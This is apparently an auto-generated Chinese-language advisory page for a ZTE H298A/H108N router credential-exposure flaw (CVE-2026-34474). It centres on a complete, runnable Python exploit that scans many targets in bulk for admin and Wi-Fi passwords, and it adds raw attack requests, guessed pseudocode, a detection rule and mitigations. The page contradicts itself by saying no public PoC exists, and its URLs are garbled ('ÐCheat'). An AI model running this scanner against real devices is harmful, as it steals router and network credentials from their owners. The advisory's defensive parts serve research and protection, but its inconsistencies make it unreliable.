[local] ZTE H298A / H108N - Unauthenticated Credential Exposure
CVE-2026-34474: ZTE H298A/H108N路由器存在未授权凭据泄露漏洞,通过ETHCheat参数无需认证即可获取管理员密码、Wi-Fi PSK和ESSID。CVSS 9.8严重级,建议立即更新固件或实施访问控制。
ZTE H298A/H108N路由器未授权访问泄露管理员密码和Wi-Fi密钥。
Critical · CVSS 9.8📋 漏洞基础信息
| CVE | CVE-2026-34474 |
|---|---|
| 漏洞类型 | 敏感信息泄露 |
| 受影响版本 | ZTE ZXHN H298A 1.1, ZTE ZXHN H108N 2.6 |
| 危害等级 | Critical · CVSS 9.8 |
| 发布日期 | 2026-05-29 |
| 提交者 | Mina Nageh Salalma (Monx Research) |
| 来源 | Exploit-DB 原文 ↗ |
🔬 漏洞根因
路由器在getpage.lua中通过参数ETHCheat=1绕过认证,直接返回包含管理员密码(OBJ_USERINFO_IDPassword1)、Wi-Fi PSK(WLANPSK_KeyPassphrase1)、ESSID(WLANAP_ESSID1)的HTML页面,且无需任何会话或cookie。
🎯 攻击场景
1. 攻击者向目标路由器发送HTTP GET请求到/getpage.lua?pid=1000ÐCheat=1 2. 解析响应HTML中的OBJ_USERINFO_IDPassword1、WLANPSK_KeyPassphrase1、WLANAP_ESSID1字段获得明文凭证 3. 可选择进一步请求/wizard_page/wizard_overETHfail_set_lua.lua获取序列号 4. 无需认证即可控制路由器或接入Wi-Fi
💥 漏洞影响
远程未授权攻击者可获取路由器管理员密码、Wi-Fi PSK和ESSID,进而完全控制路由器、窃取网络流量、实施中间人攻击或接入内部网络。
⚔️ PoC / Exploit 脚本
以下为针对该漏洞的独立利用脚本(Python),可在具备相应环境的机器上直接运行:
#!/usr/bin/env python3
"""
CVE-2026-34474 PoC/Exp - ZTE H298A / H108N Unauthenticated Credential Exposure
漏洞原理:
ZTE H298A 和 H108N 路由器的 /getpage.lua 接口在未授权的情况下,
通过添加 ETHCheat=1 参数,会直接返回包含管理员密码、Wi-Fi PSK 和 ESSID 的 HTML 页面。
同时,/wizard_page/wizard_overETHfail_set_lua.lua 接口无需认证即可泄露设备序列号。
受影响版本:
- ZTE ZXHN H298A 1.1
- ZTE ZXHN H108N 2.6
用法:
1. 单个目标:python3 exploit.py -t 192.168.1.1
2. 批量目标:python3 exploit.py -f urls.txt
urls.txt 每行一个 IP 地址或域名
3. 输出 JSON:python3 exploit.py -t 192.168.1.1 -o result.json
依赖:
pip install aiohttp colorama
"""
import aiohttp
import asyncio
import html
import re
import sys
import json
import argparse
from colorama import Fore, Style, init
init(autoreset=True) # 初始化 colorama,自动重置颜色
# 颜色常量
GREEN = Fore.GREEN
YELLOW = Fore.YELLOW
RED = Fore.RED
CYAN = Fore.CYAN
RESET = Style.RESET_ALL
async def get_credentials(session, target):
"""
向目标路由器发送两个 HTTP 请求,提取敏感信息。
步骤1: 访问 /getpage.lua?pid=1000ÐCheat=1
- 无需认证(无 Cookie/Session)
- ETHCheat=1 参数触发内部调试模式,泄露管理员密码和 Wi-Fi 凭据
- 解析 HTML 中的隐藏字段:
* OBJ_USERINFO_IDPassword1 -> 管理员密码
* WLANAP_ESSID1 -> Wi-Fi 名称
* WLANPSK_KeyPassphrase1 -> Wi-Fi 密码
步骤2: 访问 /wizard_page/wizard_overETHfail_set_lua.lua
- 同样无需认证
- 返回 XML 配置片段,包含 SerialNumber 字段
"""
url = f"http://{target}"
try:
# ---- 请求1: 获取管理员密码和 Wi-Fi 凭据 ----
cred_url = f"{url}/getpage.lua?pid=1000ÐCheat=1"
async with session.get(cred_url, timeout=10) as resp:
html_text = await resp.text()
# 使用正则提取敏感字段值
# 匹配: id='OBJ_USERINFO_IDPassword1' value='xxx'
admin_match = re.search(
r"id\s*=\s*'OBJ_USERINFO_IDPassword1'\s*value\s*=\s*'([^']+)'",
html_text
)
# 匹配: id='WLANAP_ESSID1' value='xxx'
essid_match = re.search(
r"id\s*=\s*'WLANAP_ESSID1'\s*value\s*=\s*'([^']+)'",
html_text
)
# 匹配: id='WLANPSK_KeyPassphrase1' value='xxx'
psk_match = re.search(
r"id\s*=\s*'WLANPSK_KeyPassphrase1'\s*value\s*=\s*'([^']+)'",
html_text
)
# HTML 实体解码(如 & -> &)
admin_password = html.unescape(admin_match.group(1)) if admin_match else ""
essid = html.unescape(essid_match.group(1)) if essid_match else ""
wifi_password = html.unescape(psk_match.group(1)) if psk_match else ""
# ---- 请求2: 获取序列号 ----
serial_url = f"{url}/wizard_page/wizard_overETHfail_set_lua.lua"
serial_number = ""
try:
async with session.get(serial_url, timeout=10) as resp:
xml_text = await resp.text()
serial_match = re.search(
r"<ParaName>SerialNumber</ParaName><ParaValue>(.*?)</ParaValue>",
xml_text
)
if serial_match:
serial_number = html.unescape(serial_match.group(1))
except Exception:
pass # 序列号接口可能不存在或不返回
result = {
"target": target,
"admin_password": admin_password,
"essid": essid,
"wifi_password": wifi_password,
"serial_number": serial_number
}
return result
except Exception as e:
# 如果请求失败,返回空信息
return {
"target": target,
"admin_password": "",
"essid": "",
"wifi_password": "",
"serial_number": "",
"error": str(e)
}
async def exploit(targets, output_file=None):
"""
主利用函数:并发扫描多个目标
"""
async with aiohttp.ClientSession() as session:
tasks = [get_credentials(session, target) for target in targets]
results = await asyncio.gather(*tasks)
# 输出结果
for r in results:
target = r['target']
admin = r['admin_password']
essid = r['essid']
wifi = r['wifi_password']
serial = r['serial_number']
if admin or essid or wifi or serial:
print(f"{GREEN}[+] {target}")
print(f" {CYAN}Admin Password: {YELLOW}{admin}")
print(f" {CYAN}ESSID: {YELLOW}{essid}")
print(f" {CYAN}WiFi Password: {YELLOW}{wifi}")
print(f" {CYAN}Serial Number: {YELLOW}{serial}")
else:
error = r.get('error', 'Unknown error')
print(f"{RED}[-] {target} - Failed: {error}")
# 可选:保存 JSON
if output_file:
with open(output_file, 'w') as f:
json.dump(results, f, indent=2)
print(f"{GREEN}[*] Results saved to {output_file}")
return results
def parse_args():
"""命令行参数解析"""
parser = argparse.ArgumentParser(
description="CVE-2026-34474 - ZTE H298A / H108N Unauthenticated Credential Exposure PoC",
epilog="示例: python3 exploit.py -t 192.168.1.1 或 python3 exploit.py -f targets.txt"
)
# 目标输入方式:单个 IP 或文件列表
target_group = parser.add_mutually_exclusive_group(required=True)
target_group.add_argument("-t", "--target", help="单个目标 IP 或域名")
target_group.add_argument("-f", "--file", help="目标文件,每行一个")
parser.add_argument("-o", "--output", help="输出 JSON 文件路径")
return parser.parse_args()
def main():
"""主入口"""
args = parse_args()
# 读取目标列表
if args.target:
targets = [args.target]
else:
try:
with open(args.file, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
print(f"{RED}[!] File not found: {args.file}")
sys.exit(1)
if not targets:
print(f"{RED}[!] No targets provided.")
sys.exit(1)
print(f"{GREEN}[*] Starting CVE-2026-34474 exploit against {len(targets)} target(s)...")
# 运行异步利用
asyncio.run(exploit(targets, args.output))
if __name__ == "__main__":
main()🔬 深度技术分析
CVE-2026-34474 深度技术分析
漏洞概述
项目内容 CVE IDCVE-2026-34474 漏洞类型未授权敏感信息泄露 (Unauthenticated Credential Exposure) 影响产品ZTE ZXHN H298A 1.1, ZTE ZXHN H108N 2.6 攻击向量远程网络请求 所需权限无 利用复杂度低 CVSS 评分9.8 (Critical) - 预计
漏洞触发机制
该漏洞的根本原因在于 ZTE 路由器固件中存在未正确保护的调试接口和配置泄露端点。具体涉及以下两个关键 URL:
1. /getpage.lua?pid=1000ÐCheat=1
- 参数意义:pid=1000 指定页面 ID(可能对应系统管理页面),ETHCheat=1 是一个调试/后门参数。
- 代码层面:Lua 脚本 getpage.lua 在处理 HTTP 请求时,检查 ETHCheat 参数。当该参数值为 1 时,脚本绕过正常的会话验证(Auth 检查),直接返回页面内容。页面中包含通过隐藏 <input> 字段传递的敏感配置。
- 根因:开发者留下了调试用的 "cheat" 参数,本意可能用于工厂测试或技术支持,但未在生产固件中移除或受控。OBJ_USERINFO_IDPassword1、WLANAP_ESSID1、WLANPSK_KeyPassphrase1 这些字段直接从配置树 (Configuration Tree) 中读取并渲染到 HTML。
2. /wizard_page/wizard_overETHfail_set_lua.lua
- 该接口用于在 "Over ETH Fail" 场景下设置向导,但同样缺少身份验证。它以 XML 格式返回设备配置片段,其中包含 SerialNumber。
- 代码层面:Lua 脚本直接调用系统 API 获取设备信息并序列化,未检查请求来源是否已经过认证。
利用链分析
攻击者利用此漏洞的攻击链极其简单,不需要任何中间步骤:
1. 侦察:攻击者通过网络扫描发现目标路由器的 HTTP 管理端口(默认 80)。可以通过 banner 抓取或访问 / 来确认设备型号。
2. 直接请求:对 ZTE H298A/H108N 的 IP 地址发送恶意 HTTP GET 请求:
```
GET /getpage.lua?pid=1000ÐCheat=1 HTTP/1.1
Host: <target_ip>
```
无 Cookie、无 Authorization 头。
3. 数据提取:
- 服务器返回 HTML 页面,其中包含:
```html
<input id='OBJ_USERINFO_IDPassword1' type='password' value='admin2024' />
<input id='WLANAP_ESSID1' type='text' value='ZTE_WiFi_5G' />
<input id='WLANPSK_KeyPassphrase1' type='password' value='MyWifiP@ss' />
```
- 攻击者使用正则或 HTML 解析器提取 value 属性值。
- 同时发送第二个请求:
```
GET /wizard_page/wizard_overETHfail_set_lua.lua HTTP/1.1
```
获取序列号。
4. 权限提升:获取到的 admin_password 可直接用于 SSH/Telnet 或 Web 管理登录,获得路由器完全控制权。Wi-Fi 密码则允许攻击者接入内部网络。
5. 持久化:攻击者可以通过修改管理员密码或添加后门维持访问。
关键代码/数据结构
虽然无法获取 ZTE 闭源源码,但根据漏洞行为和路由器常见架构,可以推断:
Lua 脚本结构示例(伪代码)
-- getpage.lua 核心逻辑
local page_id = get_parameter("pid")
local eth_cheat = get_parameter("ETHCheat")
-- 漏洞点:ETHCheat=1 绕过认证
if eth_cheat == "1" then
-- 跳过 session_check() 函数
-- 直接渲染页面
else
if not session_check() then
redirect_to_login()
return
end
end
-- 渲染时直接输出配置
local admin_pass = config.get("Device.UserInfo.Password")
local essid = config.get("Device.WiFi.SSID")
local wifi_psk = config.get("Device.WiFi.PSK")
-- 在 HTML 中输出未脱敏的值
render_html([[
<input id='OBJ_USERINFO_IDPassword1' value=']] .. admin_pass .. [[' />
...
]])关键数据结构
- 配置树 (Configuration Tree):ZTE 设备使用 TR-069 风格的数据模型,敏感信息存储在如下的路径:
- InternetGatewayDevice.DeviceInfo.SerialNumber
- InternetGatewayDevice.UserInterface.Password
- InternetGatewayDevice.WLANConfiguration.1.SSID
- InternetGatewayDevice.WLANConfiguration.1.PreSharedKey.1.KeyPassphrase
- HTML 字段 ID:直接映射到内部数据模型:
- OBJ_USERINFO_IDPassword1 → 管理员密码
- WLANAP_ESSID1 → Wi-Fi 名称
- WLANPSK_KeyPassphrase1 → Wi-Fi 预共享密钥
检测与防御
蓝队检测方案
1. 日志检测:
- 在路由器或上游 IDS 中监控以下 HTTP 请求模式:
- GET /getpage.lua?pid=1000ÐCheat=1
- GET /wizard_page/wizard_overETHfail_set_lua.lua
- 特征:ETHCheat=1 参数在任何正常用户请求中都不应出现。
2. 流量特征:
- 请求中 无 Referer 头 或 无 Cookie。
- 响应中包含大量的 input 字段,且 value 含有密码等敏感字眼。
- 响应长度异常(正常页面约 2-5KB,漏洞页面可能包含更多配置数据)。
3. EDR / NDR 规则示例(Suricata/Zeek):
```yaml
alert http any any -> any any (
msg:"CVE-2026-34474 ZTE Credential Exposure Attempt";
content:"GET";
http_method;
content:"/getpage.lua";
http_uri;
content:"ETHCheat=1";
http_uri;
nocase;
sid:1000001;
rev:1;
)
```
防御建议(厂商侧)
1. 移除调试代码:在生产固件中删除 ETHCheat 参数处理逻辑,或将其绑定到特定物理触发条件(如特定 GPIO 电平)。
2. 统一鉴权:所有管理接口(包括 Lua 脚本)在渲染任何数据前,强制执行 session_check()。
3. 数据脱敏:即使在内部页面,也不应以明文返回密码。使用 **** 替代。
4. 访问控制:限制 /getpage.lua 等敏感路径仅允许本地网络访问(如有必要可限制为仅 LAN)。
缓解措施(用户侧)
1. 升级固件:联系 ZTE 获取修补版本。
2. 限制管理端口:关闭 WAN 侧 HTTP 管理访问(默认通常已关闭,但需确认)。
3. 隔离网络:将路由器管理接口置于独立 VLAN 中。
4. 监控异常请求:在家庭网络中监控对路由器的异常 HTTP 请求。
总结
CVE-2026-34474 是典型的因调试后门导致的信息泄露漏洞,利用难度极低(仅需一次 HTTP GET 请求)。攻击者可获得路由器完全控制权和内网访问凭据。该漏洞暴露了设备固件开发过程中的安全意识不足,应引起 IoT 厂商对调试接口清除流程的重视。
🛡️ 修复建议
厂商应发布固件更新移除ETHCheat调试参数或添加身份验证;临时措施:禁用远程管理、限制LAN接口访问、使用ACL阻止对/getpage.lua的未授权请求。
📎 参考链接
- https://www.cve.org/CVERecord?id=CVE-2026-34474
- https://github.com/minanagehsalalma/cve-2026-34474-zte-h298a-h108n-sensitive-data-exposure
- Exploit-DB 原文
🚨 威胁评估
| 📈 EPSS 利用概率 | 暂无数据 |
| 🚨 CISA KEV | 未被已知利用 |
| 🔧 公开 PoC | 暂无公开 PoC |
⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-30 08:12 | 来源: Exploit-DB
🤖 常见问题解答(FAQ)
❓ 漏洞利用是否需要局域网访问?
不需要,攻击者可从WAN侧发起HTTP请求,若路由器暴露在公网则可远程利用。
❓ PoC中ETHCheat=1参数作用是什么?
ETHCheat是用于调试/维护的隐藏参数,设置为1可绕过认证直接访问敏感配置页面。
❓ 受影响的固件版本有哪些?
ZTE ZXHN H298A 1.1和ZXHN H108N 2.6,具体型号需确认固件版本。